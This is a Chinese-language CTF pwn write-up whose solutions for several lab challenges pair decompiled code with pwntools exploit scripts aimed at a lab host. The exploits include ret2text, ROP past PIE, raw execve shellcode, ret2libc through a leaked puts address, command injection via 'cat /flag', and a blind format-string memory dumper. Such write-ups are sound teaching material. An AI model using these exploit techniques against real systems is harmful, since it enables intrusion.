ezzzzz_overflow
开了NX保护,scanf函数存在无限栈溢出,有后门,ret2text
1
2
3
4
5
6
7
8
9
10
|
from pwn import *
#p=process('./pwn')
p=remote('192.168.248.1',64762)
context(log_level='debug',arch='amd64')
p.recvuntil(b'you name?')
shell=0x4011b6
ret=0x4012AA
pay=b'a'*(0x20+8)+p64(shell)
p.sendline(pay)
p.interactive()
|
roprop
有NX和pie
1
2
3
4
5
6
7
8
9
10
11
12
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF
init(argc, argv, envp);
printf("welcome to xswctf!!");
memset(buf, 0, sizeof(buf));
puts("here is a gift.");
printf("%p\n", gift);
read(0, buf, 0x50uLL);
return 0;
}
|
给了gift地址用来绕过pie,没有后门,有systemplt,gadget和/bin/sh字串,打rop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
#p=process('./pwn')
p=remote('192.168.248.1',54036)
context(log_level='debug',arch='amd64')
p.recvuntil(b'welcome to xswctf!!here is a gift.')
p.recvuntil(b'0x')
pie=int(p.recv(12),16)-0x4038
print(hex(pie))
sys=pie+0x1040
binsh=pie+0x4048
rdi=pie+0x11f4
ret=pie+0x1016
pay=b'a'*(0x20+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys)+p64(0)
p.sendline(pay)
p.interactive()
|
shellcode的艺术(尝鲜版)

无NX有pie
1
2
3
4
5
6
7
8
9
10
|
void vuln()
{
char buf[312]; // [rsp+0h] [rbp-140h] BYREF
unsigned __int64 v1; // [rsp+138h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("你知道shellcode是什么吗,试着编写你自己的shellcode吧");
read(0, buf, 0x12CuLL);
__asm { jmp rsi }
}
|
程序先向buf中数据然后执行其内容 所以ret2shellcode
1
2
3
4
5
6
7
8
|
from pwn import *
#p=process('./pwn')
p=remote('192.168.248.1',52425)
context(log_level='debug', arch='amd64')
shellcode = b"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x5e\x0f\x05"
p.send(shellcode)
p.interactive()
|
数字炸弹bomb!

保护全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [rsp+0h] [rbp-30h] BYREF
int i; // [rsp+4h] [rbp-2Ch]
int v7; // [rsp+8h] [rbp-28h]
int v8; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v10; // [rsp+28h] [rbp-8h]
v10 = __readfsqword(0x28u);
init(argc, argv, envp);
v3 = time(0LL);
srand(v3);
v7 = rand() % 500;
puts("让我们来玩数字炸弹吧!!!但这次是猜中有奖哦~~~~");
printf("请输入你的游戏ID: ");
v8 = read(0, buf, 0x14uLL);
buf[v8 - 1] = 0;
printf(buf);
puts(",欢迎您!");
puts("---------------------------------------------------");
puts(" 游戏开始 ");
for ( i = 0; i <= 2; ++i )
{
printf("猜猜我的炸弹是什么(提示----在[0,500)中哦): ");
__isoc99_scanf(&unk_214C, &v5);
if ( v7 == v5 )
win();
if ( v7 > v5 )
puts(&byte_214F);
if ( v7 < v5 )
puts("嘶,,大了呢");
}
puts("---------------------------------------------------");
puts(" 游戏结束 ");
puts(&byte_21B0);
return 0;
}
|
是一个伪随机绕过 题目用了v3 = time(0LL); 所以我们的种子也设为当前时间就好
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
import time
import ctypes
#p=process('./pwn')
libc=ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
p=remote('192.168.248.1',59068)
context(log_level='debug',arch='amd64')
seed = int(time.time())
libc.srand(seed)
p.recvuntil(b'ID: ')
p.send(b'a')
ans=str(libc.rand() % 500)
p.recvuntil(': ')
p.sendline(ans.encode())
p.interactive()
|
Pikachu

没有后门 但是edit和add都有栈溢出,可以找到pop rdi 于是ret2libc,我用的是add函数
需要注意的是, 读入payload的时会覆盖v3,所以payload需要保证v3的值不变如
1
|
pay1=b'a'*(0x110-4)+p32(0)+p64(0)+p64(rdi)+p64(putsgot)+p64(putsplt)+p64(addd)
|
的p32(0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
int add()
{
_QWORD *v0; // rax
char buf[268]; // [rsp+0h] [rbp-110h] BYREF
unsigned int v3; // [rsp+10Ch] [rbp-4h] BYREF
puts("input index:");
v3 = 0;
__isoc99_scanf("%d", &v3);
if ( v3 < 0xA )
{
if ( p[v3] )
{
LODWORD(v0) = puts("The element already exists in the array.");
}
else
{
puts("input content:");
read(0, buf, 0x200uLL);
v0 = p;
p[v3] = gift;
}
}
else
{
LODWORD(v0) = puts("Array out of bounds");
}
return (int)v0;
}
from pwn import *
#p=process('./pwn')
libc=ELF('./libc.so.6')
p=remote('192.168.248.1',52538)
context(log_level='debug',arch='amd64')
def add(idx,content):
p.recvuntil(b'5.exit')
p.sendline(b'1')
p.recvuntil(b'input index:')
p.sendline(str(idx).encode())
p.recvuntil(b'input content:')
p.send(content)
def edit(idx,content):
p.recvuntil(b'5.exit')
p.sendline(b'2')
p.recvuntil(b'input index:')
p.sendline(str(idx).encode())
p.recvuntil(b'input content:')
p.send(content)
def dele(idx):
p.recvuntil(b'5.exit')
p.sendline(b'3')
p.recvuntil(b'input index:')
p.sendline(str(idx).encode())
rdi=0x4011cb
putsgot=0x404000
putsplt=0x401030
main=0x40152d
addd=0x401240
pay1=b'a'*(0x110-4)+p32(0)+p64(0)+p64(rdi)+p64(putsgot)+p64(putsplt)+p64(addd)
#gdb.attach(p)
add(0,pay1)
p.recv(1)
#-0x835a0
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x805a0
print(hex(libcbase))
#gdb.attach(p)
sys=libcbase+libc.symbols['system']
binsh = libcbase + 0x1a7ea4
ret=0x401016
ogg1=libcbase+0xddf43
ogg2=libcbase+0xfb06a
p.recvuntil(b'input index:')
p.sendline(b'1')
p.recvuntil(b'input content:')
pay2=b'a'*(0x110-4)+p32(1)+p64(0)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys)
print(hex(libcbase))
print(hex(binsh))
print(hex(sys))
#gdb.attach(p)
p.send(pay2)
p.interactive()
|
AAAA文件读取系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
void *__fastcall cat(void *a1)
{
char dest[8]; // [rsp+10h] [rbp-40h] BYREF
__int64 v3; // [rsp+18h] [rbp-38h]
__int64 v4; // [rsp+20h] [rbp-30h]
__int64 v5; // [rsp+28h] [rbp-28h]
__int64 v6; // [rsp+30h] [rbp-20h]
__int64 v7; // [rsp+38h] [rbp-18h]
__int16 v8; // [rsp+40h] [rbp-10h]
*(_QWORD *)dest = 544498019LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0;
strcat(dest, file);
system(dest);
return 0LL;
}
void __noreturn vuln()
{
pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF
puts(&s);
puts("这个文件夹里有以下文件——");
system("ls");
while ( 1 )
{
puts("所以你想知道哪个文件的内容呢~😏:");
__isoc99_scanf(&aS, file);
if ( !strcmp(file, v1) )
puts("抱歉,就是不给你看这个文件呢~~~~~~~~~~");
else
pthread_create(&newthread, 0LL, cat, 0LL);
}
}
|
审读源码 如果文件名不为flag,cat函数会把文件名拼接到deat后然后执行,虽然不知道为什么system(dest+命令也能执行但是确实可以( 正常情况下应该;+命令进行多条命令执行
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
#p=process('./pwn')
p=remote('192.168.248.1',60786)
context(log_level='debug',arch='amd64')
p.recvuntil(b':')
sys=0x4010b0
binsh=0x004020cd
#pay=b'a'*0x40+p64(sys)
pay=b'cat /flag'
p.sendline(pay)
p.interactive()
|
nofile
fmt盲打,从网上搜了一下需要先dump文件内容,模仿了一个脚本如下,从0x40000开始泄露
但是泄露的elf文件不完整,于是又上网搜 发现

这样设置的话可以打开文件


读汇编发现name=y0u_kn0w_c6c?的时候获得shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
import os
import sys
import time
from pwn import *
from ctypes import *
import binascii
context.os = 'linux'
context.log_level = "debug"
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
# 增加超时设置,防止无限等待
p = remote('192.168.248.1', 58731, timeout=5)
begin = 0x400000
bin_data = b''
def leak(addr):
"""
尝试泄露指定地址的数据。
如果成功,返回泄露的数据(不含'dump')。
如果失败(超时或连接关闭),返回 None。
"""
try:
pl = b"%7$sdump" + p64(addr)
p.sendafter(b'Please enter your answer\n', pl)
data = p.recvuntil(b'dump', drop=True)
return data
except (pwnlib.exception.PwnlibTimeoutError, EOFError):
return None
try:
while True:
print(f"[*] Trying to leak address: 0x{begin:016x}")
data = leak(begin)
if data is None:
# 如果 leak 返回 None,说明已经没有数据可以读取了
print("[!] No more data received. Exiting loop.")
break
if not data: # 如果返回空字节串 b''
# 这通常意味着泄露的就是空数据
bin_data += b'\x00'
begin += 1
else:
bin_data += data
begin += len(data)
except Exception as e:
print(f"[!] An error occurred: {e}")
finally:
print(f'[+] Dump finished. Total length: {len(bin_data)} bytes.')
with open('dump_bin', 'wb') as f:
f.write(bin_data)
# 尝试关闭连接
try:
p.close()
except:
pass
from pwn import *
p = remote('192.168.248.1', 58731)
p.recvuntil(b'Please enter your answer')
p.send(b'y0u_kn0w_c6c?')
p.interactive()
|